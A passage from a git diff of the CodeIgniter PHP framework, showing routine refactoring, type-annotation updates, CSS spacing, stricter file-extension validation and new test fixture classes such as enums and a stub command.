$cache = service('logger')->logCache; + $logger = service('logger'); - $this->data = $cache ?? []; + if (! property_exists($logger, 'logCache')) { + return $this->data; + } + + $this->data = $logger->logCache; return $this->data; } diff --git a/system/Debug/Toolbar/Views/toolbar.css b/system/Debug/Toolbar/Views/toolbar.css index abf61e9cca93..69583597eed7 100644 --- a/system/Debug/Toolbar/Views/toolbar.css +++ b/system/Debug/Toolbar/Views/toolbar.css @@ -358,6 +358,7 @@ -moz-box-shadow: 0 0 4px #DFDFDF; -webkit-box-shadow: 0 0 4px #DFDFDF; } + #debug-icon a:active, #debug-icon a:link, #debug-icon a:visited { @@ -368,6 +369,7 @@ background-color: #FFFFFF; color: #434343; } + #debug-bar h1, #debug-bar h2, #debug-bar h3, @@ -383,74 +385,93 @@ background-color: transparent; color: #434343; } + #debug-bar button { background-color: #FFFFFF; } + #debug-bar table strong { color: #DD8615; } + #debug-bar table tbody tr:hover { background-color: #DFDFDF; } + #debug-bar table tbody tr.current { background-color: #FDC894; } + #debug-bar table tbody tr.current:hover td { background-color: #DD4814; color: #FFFFFF; } + #debug-bar .toolbar { background-color: #FFFFFF; box-shadow: 0 0 4px #DFDFDF; -moz-box-shadow: 0 0 4px #DFDFDF; -webkit-box-shadow: 0 0 4px #DFDFDF; } + #debug-bar .toolbar img { filter: brightness(0) invert(0.4); } + #debug-bar.fixed-top .toolbar { box-shadow: 0 0 4px #DFDFDF; -moz-box-shadow: 0 0 4px #DFDFDF; -webkit-box-shadow: 0 0 4px #DFDFDF; } + #debug-bar.fixed-top .tab { box-shadow: 0 1px 4px #DFDFDF; -moz-box-shadow: 0 1px 4px #DFDFDF; -webkit-box-shadow: 0 1px 4px #DFDFDF; } + #debug-bar .muted { color: #434343; } + #debug-bar .muted td { color: #DFDFDF; } + #debug-bar .muted:hover td { color: #434343; } + #debug-bar #toolbar-position, #debug-bar #toolbar-theme { filter: brightness(0) invert(0.6); } + #debug-bar .ci-label.active { background-color: #DFDFDF; } + #debug-bar .ci-label:hover { background-color: #DFDFDF; } + #debug-bar .ci-label .badge { background-color: #DD4814; color: #FFFFFF; } + #debug-bar .tab { background-color: #FFFFFF; box-shadow: 0 -1px 4px #DFDFDF; -moz-box-shadow: 0 -1px 4px #DFDFDF; -webkit-box-shadow: 0 -1px 4px #DFDFDF; } + #debug-bar .timeline th, #debug-bar .timeline td { border-color: #DFDFDF; } + #debug-bar .timeline .timer { background-color: #DD8615; } diff --git a/system/Encryption/Encryption.php b/system/Encryption/Encryption.php index 17a5b4c547a2..73ec458b837a 100644 --- a/system/Encryption/Encryption.php +++ b/system/Encryption/Encryption.php @@ -93,7 +93,7 @@ public function __construct(?EncryptionConfig $config = null) $this->key = $config->key; $this->driver = $config->driver; - $this->digest = $config->digest ?? 'SHA512'; + $this->digest = $config->digest; $this->handlers = [ 'OpenSSL' => extension_loaded('openssl'), @@ -118,7 +118,7 @@ public function initialize(?EncryptionConfig $config = null) if ($config instanceof EncryptionConfig) { $this->key = $config->key; $this->driver = $config->driver; - $this->digest = $config->digest ?? 'SHA512'; + $this->digest = $config->digest; } if (empty($this->driver)) { diff --git a/system/Entity/Entity.php b/system/Entity/Entity.php index 43182cfb9b2a..e3733bd0fc02 100644 --- a/system/Entity/Entity.php +++ b/system/Entity/Entity.php @@ -458,6 +458,11 @@ private function normalizeValue(mixed $data): mixed // Check for Entity instance (use raw values, recursive) if ($data instanceof self) { $objectData = $data->toRawArray(false, true); + } elseif ($data instanceof UnitEnum) { + return [ + '__class' => $data::class, + '__enum' => $data instanceof BackedEnum ? $data->value : $data->name, + ]; } elseif ($data instanceof JsonSerializable) { $objectData = $data->jsonSerialize(); } elseif (method_exists($data, 'toArray')) { @@ -469,11 +474,6 @@ private function normalizeValue(mixed $data): mixed '__class' => $data::class, '__datetime' => $data->format(DATE_RFC3339_EXTENDED), ]; - } elseif ($data instanceof UnitEnum) { - return [ - '__class' => $data::class, - '__enum' => $data instanceof BackedEnum ? $data->value : $data->name, - ]; } else { $objectData = get_object_vars($data); diff --git a/system/Filters/Filters.php b/system/Filters/Filters.php index 9a253a42b359..5ec5fc0fa074 100644 --- a/system/Filters/Filters.php +++ b/system/Filters/Filters.php @@ -465,7 +465,7 @@ public function initialize(?string $uri = null) // Decode URL-encoded string $uri = urldecode($uri ?? ''); - $oldFilterOrder = config(Feature::class)->oldFilterOrder ?? false; + $oldFilterOrder = config(Feature::class)->oldFilterOrder ?? false; // @phpstan-ignore nullCoalesce.property if ($oldFilterOrder) { $this->processGlobals($uri); $this->processMethods(); @@ -669,10 +669,6 @@ public function getArguments(?string $key = null) */ protected function processGlobals(?string $uri = null) { - if (! isset($this->config->globals) || ! is_array($this->config->globals)) { - return; - } - $uri = strtolower(trim($uri ?? '', '/ ')); // Add any global filters, unless they are excluded for this URI @@ -706,7 +702,7 @@ protected function processGlobals(?string $uri = null) } if (isset($filters['before'])) { - $oldFilterOrder = config(Feature::class)->oldFilterOrder ?? false; + $oldFilterOrder = config(Feature::class)->oldFilterOrder ?? false; // @phpstan-ignore nullCoalesce.property if ($oldFilterOrder) { $this->filters['before'] = array_merge($this->filters['before'], $filters['before']); } else { @@ -726,10 +722,6 @@ protected function processGlobals(?string $uri = null) */ protected function processMethods() { - if (! isset($this->config->methods) || ! is_array($this->config->methods)) { - return; - } - $method = $this->request->getMethod(); $found = false; @@ -752,7 +744,7 @@ protected function processMethods() } if ($found) { - $oldFilterOrder = config(Feature::class)->oldFilterOrder ?? false; + $oldFilterOrder = config(Feature::class)->oldFilterOrder ?? false; // @phpstan-ignore nullCoalesce.property if ($oldFilterOrder) { $this->filters['before'] = array_merge($this->filters['before'], $this->config->methods[$method]); } else { @@ -770,7 +762,7 @@ protected function processMethods() */ protected function processFilters(?string $uri = null) { - if (! isset($this->config->filters) || $this->config->filters === []) { + if ($this->config->filters === []) { return; } @@ -802,7 +794,7 @@ protected function processFilters(?string $uri = null) } } - $oldFilterOrder = config(Feature::class)->oldFilterOrder ?? false; + $oldFilterOrder = config(Feature::class)->oldFilterOrder ?? false; // @phpstan-ignore nullCoalesce.property if (isset($filters['before'])) { if ($oldFilterOrder) { diff --git a/system/Filters/PageCache.php b/system/Filters/PageCache.php index c170e0d46cac..ff4bd097f84c 100644 --- a/system/Filters/PageCache.php +++ b/system/Filters/PageCache.php @@ -39,7 +39,7 @@ public function __construct(?Cache $config = null) $config ??= config('Cache'); $this->pageCache = service('responsecache'); - $this->cacheStatusCodes = $config->cacheStatusCodes ?? []; + $this->cacheStatusCodes = $config->cacheStatusCodes ?? []; // @phpstan-ignore nullCoalesce.property } /** diff --git a/system/Format/JSONFormatter.php b/system/Format/JSONFormatter.php index 1ca6feb6d580..ac237fcc7af3 100644 --- a/system/Format/JSONFormatter.php +++ b/system/Format/JSONFormatter.php @@ -41,7 +41,7 @@ public function format($data) $options |= JSON_PRETTY_PRINT; } - $result = json_encode($data, $options, $config->jsonEncodeDepth ?? 512); + $result = json_encode($data, $options, $config->jsonEncodeDepth); if (! in_array(json_last_error(), [JSON_ERROR_NONE, JSON_ERROR_RECURSION], true)) { throw FormatException::forInvalidJSON(json_last_error_msg()); diff --git a/system/HTTP/CURLRequest.php b/system/HTTP/CURLRequest.php index a1dc31dd7517..02aadfa8f97b 100644 --- a/system/HTTP/CURLRequest.php +++ b/system/HTTP/CURLRequest.php @@ -132,13 +132,13 @@ public function __construct(App $config, URI $uri, ?ResponseInterface $response $this->baseURI = $uri->useRawQueryString(); $this->defaultOptions = $options; - $this->shareOptions = config(ConfigCURLRequest::class)->shareOptions ?? true; + $this->shareOptions = config(ConfigCURLRequest::class)->shareOptions; $this->config = $this->defaultConfig; $this->parseOptions($options); // Share Connection - $optShareConnection = config(ConfigCURLRequest::class)->shareConnectionOptions ?? [ + $optShareConnection = config(ConfigCURLRequest::class)->shareConnectionOptions ?? [ // @phpstan-ignore nullCoalesce.property CURL_LOCK_DATA_CONNECT, CURL_LOCK_DATA_DNS, ]; diff --git a/system/HTTP/DownloadResponse.php b/system/HTTP/DownloadResponse.php index 5e1816e3afe1..b7ce79b8309a 100644 --- a/system/HTTP/DownloadResponse.php +++ b/system/HTTP/DownloadResponse.php @@ -216,7 +216,7 @@ public function setStatusCode(int $code, string $reason = '') * Sets the Content Type header for this response with the mime type * and, optionally, the charset. * - * @return ResponseInterface + * @return $this */ public function setContentType(string $mime, string $charset = 'UTF-8') { @@ -286,7 +286,7 @@ public function buildHeaders() /** * output download file text. * - * @return DownloadResponse + * @return $this * * @throws DownloadException */ @@ -306,7 +306,7 @@ public function sendBody() /** * output download text by file. * - * @return DownloadResponse + * @return $this */ private function sendBodyByFilePath() { @@ -324,7 +324,7 @@ private function sendBodyByFilePath() /** * output download text by binary * - * @return DownloadResponse + * @return $this */ private function sendBodyByBinary() { diff --git a/system/HTTP/Exceptions/HTTPException.php b/system/HTTP/Exceptions/HTTPException.php index 146a565b8c77..332fd8ab9524 100644 --- a/system/HTTP/Exceptions/HTTPException.php +++ b/system/HTTP/Exceptions/HTTPException.php @@ -23,7 +23,7 @@ class HTTPException extends FrameworkException implements ExceptionInterface /** * For CurlRequest * - * @return HTTPException + * @return static * * @codeCoverageIgnore */ @@ -35,7 +35,7 @@ public static function forMissingCurl() /** * For CurlRequest * - * @return HTTPException + * @return static */ public static function forSSLCertNotFound(string $cert) { @@ -45,7 +45,7 @@ public static function forSSLCertNotFound(string $cert) /** * For CurlRequest * - * @return HTTPException + * @return static */ public static function forInvalidSSLKey(string $key) { @@ -190,7 +190,7 @@ public static function forMalformedQueryString() /** * For Uploaded file move * - * @return HTTPException + * @return static */ public static function forAlreadyMoved() { @@ -200,7 +200,7 @@ public static function forAlreadyMoved() /** * For Uploaded file move * - * @return HTTPException + * @return static */ public static function forInvalidFile(?string $path = null) { diff --git a/system/Helpers/filesystem_helper.php b/system/Helpers/filesystem_helper.php index e7bd35441959..da6acabb039e 100644 --- a/system/Helpers/filesystem_helper.php +++ b/system/Helpers/filesystem_helper.php @@ -84,9 +84,7 @@ function directory_mirror(string $originDir, string $targetDir, bool $overwrite $dirLen = strlen($originDir); - /** - * @var SplFileInfo $file - */ + /** @var SplFileInfo $file */ foreach (new RecursiveIteratorIterator( new RecursiveDirectoryIterator($originDir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST, diff --git a/system/Helpers/kint_helper.php b/system/Helpers/kint_helper.php index 1f89dc78c55b..8d8e73bfc92f 100644 --- a/system/Helpers/kint_helper.php +++ b/system/Helpers/kint_helper.php @@ -69,18 +69,14 @@ function d(...$vars) /** * Provides a backtrace to the current execution point, from Kint. */ - /** - * trace function - */ function trace(): void { Kint::$aliases[] = 'trace'; Kint::trace(); } } else { - // In case that Kint is not loaded. /** - * trace function + * Generic trace function in case that Kint is not loaded. * * @return int */ diff --git a/system/Honeypot/Honeypot.php b/system/Honeypot/Honeypot.php index 1b09da4d1a68..a816bdd1ed60 100644 --- a/system/Honeypot/Honeypot.php +++ b/system/Honeypot/Honeypot.php @@ -46,8 +46,6 @@ public function __construct(HoneypotConfig $config) $this->config->container = '
{template}
'; } - $this->config->containerId ??= 'hpc'; - if ($this->config->template === '') { throw HoneypotException::forNoTemplate(); } diff --git a/system/HotReloader/DirectoryHasher.php b/system/HotReloader/DirectoryHasher.php index 0910f2fa94bc..ed82d98b894a 100644 --- a/system/HotReloader/DirectoryHasher.php +++ b/system/HotReloader/DirectoryHasher.php @@ -73,10 +73,12 @@ public function hashDirectory(string $path): string foreach ($iterator as $file) { if ($file->isFile()) { - $hashes[] = md5_file($file->getRealPath()); + $hashes[$file->getRealPath()] = md5_file($file->getRealPath()); } } + ksort($hashes); + return md5(implode('', $hashes)); } } diff --git a/system/I18n/TimeTrait.php b/system/I18n/TimeTrait.php index e8c3472d63c0..9daa1f9b7848 100644 --- a/system/I18n/TimeTrait.php +++ b/system/I18n/TimeTrait.php @@ -263,7 +263,7 @@ public static function createFromFormat($format, $datetime, $timezone = null): s */ public static function createFromTimestamp(float|int $timestamp, $timezone = null, ?string $locale = null): static { - $time = new static(sprintf('@%.6f', $timestamp), 'UTC', $locale); + $time = new static(sprintf('@%.6F', $timestamp), 'UTC', $locale); $timezone ??= 'UTC'; diff --git a/system/Images/Handlers/BaseHandler.php b/system/Images/Handlers/BaseHandler.php index e38c5836ccca..9301b1573c23 100644 --- a/system/Images/Handlers/BaseHandler.php +++ b/system/Images/Handlers/BaseHandler.php @@ -242,7 +242,7 @@ public function withResource() * * @param bool $maintainRatio If true, will get the closest match possible while keeping aspect ratio true. * - * @return BaseHandler + * @return $this */ public function resize(int $width, int $height, bool $maintainRatio = false, string $masterDim = 'auto') { @@ -536,7 +536,7 @@ public function getEXIF(?string $key = null, bool $silent = false) * - bottom * - bottom-right * - * @return BaseHandler + * @return $this */ public function fit(int $width, ?int $height = null, string $position = 'center') { diff --git a/system/Images/Handlers/ImageMagickHandler.php b/system/Images/Handlers/ImageMagickHandler.php index 0655a4c13ced..1472936d071b 100644 --- a/system/Images/Handlers/ImageMagickHandler.php +++ b/system/Images/Handlers/ImageMagickHandler.php @@ -139,7 +139,7 @@ protected function process(string $action, int $quality = 100) /** * Handles the actual resizing of the image. * - * @return ImageMagickHandler + * @return $this * * @throws ImagickException */ diff --git a/system/Language/Language.php b/system/Language/Language.php index 652d17a5b68d..1964c91aebd9 100644 --- a/system/Language/Language.php +++ b/system/Language/Language.php @@ -134,7 +134,7 @@ public function getLine(string $line, array $args = []) } /** - * @return list|string|null + * @return array|string|null */ protected function getTranslationOutput(string $locale, string $file, string $parsedLine) { @@ -160,7 +160,7 @@ protected function getTranslationOutput(string $locale, string $file, string $pa } } - if ($output !== null && ! is_array($output)) { + if ($output !== null) { return $output; } } diff --git a/system/Language/en/Cache.php b/system/Language/en/Cache.php index b877c9bbaabd..63512cd525d5 100644 --- a/system/Language/en/Cache.php +++ b/system/Language/en/Cache.php @@ -14,6 +14,7 @@ // Cache language settings return [ 'unableToWrite' => 'Cache unable to write to "{0}".', + 'invalidHandler' => 'Cache driver "{0}" is not a valid cache handler.', 'invalidHandlers' => 'Cache config must have an array of $validHandlers.', 'noBackup' => 'Cache config must have a handler and backupHandler set.', 'handlerNotFound' => 'Cache config has an invalid handler or backup handler specified.', diff --git a/system/Log/Handlers/FileHandler.php b/system/Log/Handlers/FileHandler.php index d3132bf878ac..801200da85c2 100644 --- a/system/Log/Handlers/FileHandler.php +++ b/system/Log/Handlers/FileHandler.php @@ -19,7 +19,7 @@ /** * Log error messages to file system * - * @see \CodeIgniter\Log\Handlers\FileHandlerTest + * @see FileHandlerTest */ class FileHandler extends BaseHandler { @@ -121,7 +121,8 @@ public function handle($level, $message): bool fclose($fp); if ($newfile) { - chmod($filepath, $this->filePermissions); + // The log entry is already persisted - permission changes are best-effort. + @chmod($filepath, $this->filePermissions); } return is_int($result); diff --git a/system/Log/Logger.php b/system/Log/Logger.php index 8308ddaf94f7..011920e15bd1 100644 --- a/system/Log/Logger.php +++ b/system/Log/Logger.php @@ -138,9 +138,7 @@ public function __construct($config, bool $debug = CI_DEBUG) $this->loggableLevels[] = $stringLevel; } - if (isset($config->dateFormat)) { - $this->dateFormat = $config->dateFormat; - } + $this->dateFormat = $config->dateFormat; if ($config->handlers === []) { throw LogException::forNoHandlers('LoggerConfig'); diff --git a/system/Model.php b/system/Model.php index 2c9230a90ca0..f4ddd75276d3 100644 --- a/system/Model.php +++ b/system/Model.php @@ -84,6 +84,8 @@ * @method $this whereIn(?string $key = null, $values = null, ?bool $escape = null) * @method $this whereNotIn(?string $key = null, $values = null, ?bool $escape = null) * + * @phpstan-method $this when($condition, callable(BaseBuilder, mixed): mixed $callback, (callable(BaseBuilder): mixed)|null $defaultCallback = null) + * @phpstan-method $this whenNot($condition, callable(BaseBuilder, mixed): mixed $callback, (callable(BaseBuilder): mixed)|null $defaultCallback = null) * @phpstan-import-type row_array from BaseModel */ class Model extends BaseModel @@ -232,7 +234,7 @@ protected function doFindColumn(string $columnName) */ protected function doFindAll(?int $limit = null, int $offset = 0) { - $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; + $limitZeroAsAll = config(Feature::class)->limitZeroAsAll ?? true; // @phpstan-ignore nullCoalesce.property if ($limitZeroAsAll) { $limit ??= 0; } diff --git a/system/Pager/Pager.php b/system/Pager/Pager.php index e1c38edf3594..a4883f3809ae 100644 --- a/system/Pager/Pager.php +++ b/system/Pager/Pager.php @@ -265,9 +265,7 @@ public function getPageURI(?int $page = null, string $group = 'default', bool $r { $this->ensureGroup($group); - /** - * @var URI $uri - */ + /** @var URI $uri */ $uri = $this->groups[$group]['uri']; $segment = $this->segment[$group] ?? 0; diff --git a/system/Router/RouteCollection.php b/system/Router/RouteCollection.php index 91b9f11d5f20..3c08958604d2 100644 --- a/system/Router/RouteCollection.php +++ b/system/Router/RouteCollection.php @@ -479,7 +479,7 @@ public function setAutoRoute(bool $value): RouteCollectionInterface * * This setting is passed to the Router class and handled there. * - * @param callable|string|null $callable + * @param (callable(string): (ResponseInterface|string|void))|string|null $callable */ public function set404Override($callable = null): RouteCollectionInterface { @@ -762,8 +762,8 @@ public function getRedirectCode(string $routeKey): int * $route->resource('users'); * }); * - * @param string $name The name to group/prefix the routes with. - * @param array|callable ...$params + * @param string $name The name to group/prefix the routes with. + * @param array|(callable(self): void) ...$params * * @return void */ diff --git a/system/Router/RouteCollectionInterface.php b/system/Router/RouteCollectionInterface.php index 3c34a9be2d8a..10587d81ee4c 100644 --- a/system/Router/RouteCollectionInterface.php +++ b/system/Router/RouteCollectionInterface.php @@ -117,7 +117,7 @@ public function setAutoRoute(bool $value): self; * * This setting is passed to the Router class and handled there. * - * @param callable|null $callable + * @param (callable(string): (ResponseInterface|string|void))|string|null $callable * * @TODO This method is not related to the route collection. So this should * be removed in the future. diff --git a/system/Router/Router.php b/system/Router/Router.php index 0348daf10cdc..063bb5074cbb 100644 --- a/system/Router/Router.php +++ b/system/Router/Router.php @@ -157,9 +157,7 @@ public function __construct(RouteCollectionInterface $routes, ?Request $request { $config = config(App::class); - if (isset($config->permittedURIChars)) { - $this->permittedURIChars = $config->permittedURIChars; - } + $this->permittedURIChars = $config->permittedURIChars; $this->collection = $routes; @@ -172,7 +170,7 @@ public function __construct(RouteCollectionInterface $routes, ?Request $request $this->translateURIDashes = $this->collection->shouldTranslateURIDashes(); if ($this->collection->shouldAutoRoute()) { - $autoRoutesImproved = config(Feature::class)->autoRoutesImproved ?? false; + $autoRoutesImproved = config(Feature::class)->autoRoutesImproved; if ($autoRoutesImproved) { assert($this->collection instanceof RouteCollection); @@ -747,7 +745,7 @@ protected function setDefaultController() } /** - * @param callable|string $handler + * @param (callable(mixed...): (ResponseInterface|string|void))|string $handler */ protected function setMatchedRoute(string $route, $handler): void { diff --git a/system/Session/Session.php b/system/Session/Session.php index 70a2e4a419dd..1c3824928775 100644 --- a/system/Session/Session.php +++ b/system/Session/Session.php @@ -72,8 +72,8 @@ public function __construct(SessionHandlerInterface $driver, SessionConfig $conf 'domain' => $cookie->domain, 'secure' => $cookie->secure, 'httponly' => true, // for security - 'samesite' => $cookie->samesite ?? Cookie::SAMESITE_LAX, - 'raw' => $cookie->raw ?? false, + 'samesite' => $cookie->samesite, + 'raw' => $cookie->raw, ]))->withPrefix(''); // Cookie prefix should be ignored. helper('array'); diff --git a/system/Typography/Typography.php b/system/Typography/Typography.php index 1dfca68c5164..58bb10b0df5a 100644 --- a/system/Typography/Typography.php +++ b/system/Typography/Typography.php @@ -331,7 +331,7 @@ public function nl2brExceptPre(string $str): string $docTypes = new DocTypes(); for ($ex = explode('pre>', $str), $ct = count($ex), $i = 0; $i < $ct; $i++) { - $xhtml = ! ($docTypes->html5 ?? false); + $xhtml = ! $docTypes->html5; $newstr .= (($i % 2) === 0) ? nl2br($ex[$i], $xhtml) : $ex[$i]; if ($ct - 1 !== $i) { diff --git a/system/Validation/DotArrayFilter.php b/system/Validation/DotArrayFilter.php index 62da95cb61c7..673fe67ed138 100644 --- a/system/Validation/DotArrayFilter.php +++ b/system/Validation/DotArrayFilter.php @@ -62,8 +62,9 @@ private static function filter(array $indexes, array $array): array // Get the current index $currentIndex = array_shift($indexes); - // If the current index doesn't exist and is not a wildcard, return an empty array - if (! isset($array[$currentIndex]) && $currentIndex !== '*') { + // If the current index doesn't exist and is not a wildcard, return an empty array. + // Use array_key_exists() so explicit null values are preserved. + if ($currentIndex !== '*' && ! array_key_exists($currentIndex, $array)) { return []; } @@ -88,9 +89,9 @@ private static function filter(array $indexes, array $array): array return $result; } - // If this is the last index, return the value + // If this is the last index, return the value as-is, including null. if ($indexes === []) { - return [$currentIndex => $array[$currentIndex] ?? []]; + return [$currentIndex => $array[$currentIndex]]; } // If the current value is an array, recursively filter it diff --git a/system/Validation/StrictRules/FileRules.php b/system/Validation/StrictRules/FileRules.php index 9176716ef561..b6d4fdb673fd 100644 --- a/system/Validation/StrictRules/FileRules.php +++ b/system/Validation/StrictRules/FileRules.php @@ -211,7 +211,14 @@ public function ext_in(?string $blank, string $params): bool return true; } - if (! in_array($file->guessExtension(), $params, true)) { + // Check the real filename extension, not only the guessed extension. + $clientExtension = strtolower($file->getClientExtension()); + + if ($clientExtension === '' || ! in_array($clientExtension, $params, true)) { + return false; + } + + if ($file->guessExtension() !== $clientExtension) { return false; } } diff --git a/system/View/Parser.php b/system/View/Parser.php index 85d0ff8468db..9a2d7d9d83b1 100644 --- a/system/View/Parser.php +++ b/system/View/Parser.php @@ -20,9 +20,6 @@ /** * Class for parsing pseudo-vars * - * @phpstan-type parser_callable (callable(mixed): mixed) - * @phpstan-type parser_callable_string (callable(mixed): mixed)&string - * * @see \CodeIgniter\View\ParserTest */ class Parser extends View @@ -63,8 +60,7 @@ class Parser extends View /** * Stores any plugins registered at run-time. * - * @var array|string> - * @phpstan-var array|parser_callable_string|parser_callable> + * @var array> */ protected $plugins = []; @@ -725,6 +721,8 @@ protected function parsePlugins(string $template) /** * Makes a new plugin available during the parsing of the template. * + * @param (callable(array): string)|(callable(string, array): string) $callback + * * @return $this */ public function addPlugin(string $alias, callable $callback, bool $isPair = false) diff --git a/system/View/Table.php b/system/View/Table.php index df4b870b8ba9..ee6057811615 100644 --- a/system/View/Table.php +++ b/system/View/Table.php @@ -83,7 +83,7 @@ class Table /** * Callback for custom table layout * - * @var callable|null + * @var (callable(mixed): mixed)|null */ public $function; diff --git a/system/View/View.php b/system/View/View.php index 7ca89ac0c9ad..83b19a9313f6 100644 --- a/system/View/View.php +++ b/system/View/View.php @@ -202,7 +202,7 @@ public function render(string $view, ?array $options = null, ?bool $saveData = n $this->renderVars['file'] = $this->viewPath . $this->renderVars['view']; if (str_contains($this->renderVars['view'], '\\')) { - $appOverridesFolder = $this->config->appOverridesFolder ?? 'overrides'; + $appOverridesFolder = $this->config->appOverridesFolder ?? 'overrides'; // @phpstan-ignore nullCoalesce.property $overrideFolder = $appOverridesFolder !== '' ? trim($appOverridesFolder, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR diff --git a/system/View/ViewDecoratorTrait.php b/system/View/ViewDecoratorTrait.php index 575c4f5d5a23..d617234deacb 100644 --- a/system/View/ViewDecoratorTrait.php +++ b/system/View/ViewDecoratorTrait.php @@ -14,7 +14,6 @@ namespace CodeIgniter\View; use CodeIgniter\View\Exceptions\ViewException; -use Config\View as ViewConfig; trait ViewDecoratorTrait { @@ -24,7 +23,7 @@ trait ViewDecoratorTrait */ protected function decorateOutput(string $html): string { - $decorators = $this->config->decorators ?? config(ViewConfig::class)->decorators; + $decorators = $this->config->decorators; foreach ($decorators as $decorator) { if (! is_subclass_of($decorator, ViewDecoratorInterface::class)) { diff --git a/tests/README.md b/tests/README.md index 2ce023d37119..4e35d026e838 100644 --- a/tests/README.md +++ b/tests/README.md @@ -172,11 +172,11 @@ as a comprehensive collection of HTML files that show the status of every line o ## PHPUnit XML Configuration -The repository has a ``phpunit.xml.dist`` file in the project root that's used for +The repository has a ``phpunit.dist.xml`` file in the project root that's used for PHPUnit configuration. This is used to provide a default configuration if you do not have your own configuration file in the project root. -The normal practice would be to copy ``phpunit.xml.dist`` to ``phpunit.xml`` +The normal practice would be to copy ``phpunit.dist.xml`` to ``phpunit.xml`` (which is git ignored), and to tailor it as you see fit. For instance, you might wish to exclude database tests, or automatically generate HTML code coverage reports. diff --git a/tests/_support/Commands/AppInfo.php b/tests/_support/Commands/AppInfo.php index 767523071466..94502e0706f5 100644 --- a/tests/_support/Commands/AppInfo.php +++ b/tests/_support/Commands/AppInfo.php @@ -18,29 +18,40 @@ use CodeIgniter\CodeIgniter; use CodeIgniter\Exceptions\RuntimeException; -class AppInfo extends BaseCommand +/** + * @internal + */ +final class AppInfo extends BaseCommand { protected $group = 'demo'; protected $name = 'app:info'; protected $arguments = ['draft' => 'unused']; protected $description = 'Displays basic application information.'; - public function run(array $params): void + public function run(array $params): int { - CLI::write('CI Version: ' . CLI::color(CodeIgniter::CI_VERSION, 'red')); + CLI::write(sprintf('CodeIgniter Version: %s', CodeIgniter::CI_VERSION)); + + return 0; } - public function bomb(): void + public function bomb(): int { try { CLI::color('test', 'white', 'Background'); - } catch (RuntimeException $oops) { - $this->showError($oops); + } catch (RuntimeException $e) { + $this->showError($e); + + return 1; } + + return 0; } - public function helpme(): void + public function helpMe(): int { $this->call('help'); + + return 0; } } diff --git a/tests/_support/Commands/ParamsReveal.php b/tests/_support/Commands/DestructiveCommand.php similarity index 51% rename from tests/_support/Commands/ParamsReveal.php rename to tests/_support/Commands/DestructiveCommand.php index 2feb04de29aa..723b880b0cd4 100644 --- a/tests/_support/Commands/ParamsReveal.php +++ b/tests/_support/Commands/DestructiveCommand.php @@ -13,18 +13,19 @@ namespace Tests\Support\Commands; -use CodeIgniter\CLI\BaseCommand; +use RuntimeException; -class ParamsReveal extends BaseCommand +/** + * @internal + */ +final class DestructiveCommand extends AbstractInfo { protected $group = 'demo'; - protected $name = 'reveal'; - protected $usage = 'reveal [options] [arguments]'; - protected $description = 'Reveal params'; - public static $args; + protected $name = 'app:destructive'; + protected $description = 'This command is destructive.'; - public function run(array $params): void + public function run(array $params): never { - static::$args = $params; + throw new RuntimeException('This command is destructive and should not be run.'); } } diff --git a/tests/_support/Commands/Unsuffixable.php b/tests/_support/Commands/Unsuffixable.php index d5cb501ec54b..dc0cc9850980 100644 --- a/tests/_support/Commands/Unsuffixable.php +++ b/tests/_support/Commands/Unsuffixable.php @@ -76,4 +76,14 @@ public function run(array $params): void $this->setEnabledSuffixing(false); $this->generateClass($params); } + + protected function prepare(string $class): string + { + return $this->parseTemplate( + $class, + ['{group}', '{command}'], + ['Generators', 'make:foo'], + ['type' => 'basic'], + ); + } } diff --git a/tests/_support/Config/Filters.php b/tests/_support/Config/Filters.php index f3960544f294..f46bf6f6beec 100644 --- a/tests/_support/Config/Filters.php +++ b/tests/_support/Config/Filters.php @@ -16,8 +16,6 @@ use Tests\Support\Filters\Customfilter; use Tests\Support\Filters\RedirectFilter; -/** - * @psalm-suppress UndefinedGlobalVariable - */ +/** @psalm-suppress UndefinedGlobalVariable */ $filters->aliases['test-customfilter'] = Customfilter::class; $filters->aliases['test-redirectfilter'] = RedirectFilter::class; diff --git a/tests/_support/Config/Registrar.php b/tests/_support/Config/Registrar.php index d69d5c83e463..058fec440b55 100644 --- a/tests/_support/Config/Registrar.php +++ b/tests/_support/Config/Registrar.php @@ -105,7 +105,7 @@ class Registrar 'port' => 1433, ], 'OCI8' => [ - 'DSN' => 'localhost:1521/XEPDB1', + 'DSN' => 'localhost:1521/FREEPDB1', 'hostname' => '', 'username' => 'ORACLE', 'password' => 'ORACLE', diff --git a/tests/_support/Entity/ArrayObjectWithToArray.php b/tests/_support/Entity/ArrayObjectWithToArray.php new file mode 100644 index 000000000000..2821cab1d0f9 --- /dev/null +++ b/tests/_support/Entity/ArrayObjectWithToArray.php @@ -0,0 +1,30 @@ + + * + * For the full copyright and license information, please view + * the LICENSE file that was distributed with this source code. + */ + +namespace Tests\Support\Entity; + +use ArrayObject; + +/** + * @extends ArrayObject + */ +final class ArrayObjectWithToArray extends ArrayObject +{ + /** + * @return array + */ + public function toArray(): array + { + return ['array' => 'same']; + } +} diff --git a/tests/_support/Enum/JsonSerializableStateUnitEnum.php b/tests/_support/Enum/JsonSerializableStateUnitEnum.php new file mode 100644 index 000000000000..12f7ed9721ea --- /dev/null +++ b/tests/_support/Enum/JsonSerializableStateUnitEnum.php @@ -0,0 +1,27 @@ + + * + * For the full copyright and license information, please view + * the LICENSE file that was distributed with this source code. + */ + +namespace Tests\Support\Enum; + +use JsonSerializable; + +enum JsonSerializableStateUnitEnum implements JsonSerializable +{ + case DRAFT; + case PUBLISHED; + + public function jsonSerialize(): mixed + { + return ['json' => $this->name]; + } +} diff --git a/tests/_support/Enum/StateEnum.php b/tests/_support/Enum/StateEnum.php new file mode 100644 index 000000000000..5b151e167862 --- /dev/null +++ b/tests/_support/Enum/StateEnum.php @@ -0,0 +1,25 @@ + + * + * For the full copyright and license information, please view + * the LICENSE file that was distributed with this source code. + */ + +namespace Tests\Support\Enum; + +enum StateEnum: string +{ + case DRAFT = 'draft'; + case PUBLISHED = 'published'; + + public function toArray(): array + { + return self::cases(); + } +} diff --git a/tests/_support/Enum/StateUnitEnum.php b/tests/_support/Enum/StateUnitEnum.php new file mode 100644 index 000000000000..89626b05908b --- /dev/null +++ b/tests/_support/Enum/StateUnitEnum.php @@ -0,0 +1,25 @@ + + * + * For the full copyright and license information, please view + * the LICENSE file that was distributed with this source code. + */ + +namespace Tests\Support\Enum; + +enum StateUnitEnum +{ + case DRAFT; + case PUBLISHED; + + public function toArray(): array + { + return self::cases(); + } +} diff --git 